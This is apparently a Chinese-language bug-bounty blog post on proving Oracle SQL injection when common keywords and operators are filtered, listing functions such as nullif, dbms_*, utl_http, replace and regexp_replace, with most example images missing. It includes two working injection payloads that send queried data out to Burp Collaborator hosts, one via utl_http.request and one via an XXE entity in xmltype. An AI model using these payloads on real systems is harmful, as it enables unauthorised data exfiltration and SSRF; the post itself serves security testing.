src/众测篇:oracle注入过滤-- , + - * /,case when ,select,from,decode等函数如何证明是注入?

  

  (1)nullif: NULLIF:如果exp1和exp2相等则返回空(NULL),否则返回第一个值

   真: 

  

 

 

  假:

 

 

 

 (2)nvl/nvl2 测试失败无法实现:)记录

 
(3)如果是oracle报错注入,尝试dbms_*系列:
  举一个例子:
  

 

 

 

(4)utl_*_*   (ssrf)

  举一个例子:
  

 

 

 

 

 

可以导致ssrf攻击

如果没过滤select 和from,可直接外带数据出来:
select * from t_user where name='admin'||utl_http.request('http://'||(select name from t_user where rownum=1)||'.dubnrh9tpexzcv48ip3ug8up1g76vv.burpcollaborator.net')||''

 

 

 

 

 

 

 

 

 

 

(5) oracle to xxe:

select * from t_user where age=18||extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % evil SYSTEM "http://918eso6otf18ojltzk9u9rxhq8wzko.burpcollaborator.net">%evil;]>'),'/l')

 

 

 

 

 

 

 

如果可以使用select和from的话,也可以外带输入,和utl_*.*一样

 

(6)replace:替换

  真:
  

 

 

 假

 

 

 

 

(7)regexp_replace

  真:
  

 

 

  假:

   

 

 

 

  

 

 

 

 

 

 

 

 

 
  
posted @ 2021-03-11 10:02  飘渺红尘✨  阅读(919)  评论(0编辑  收藏  举报
Title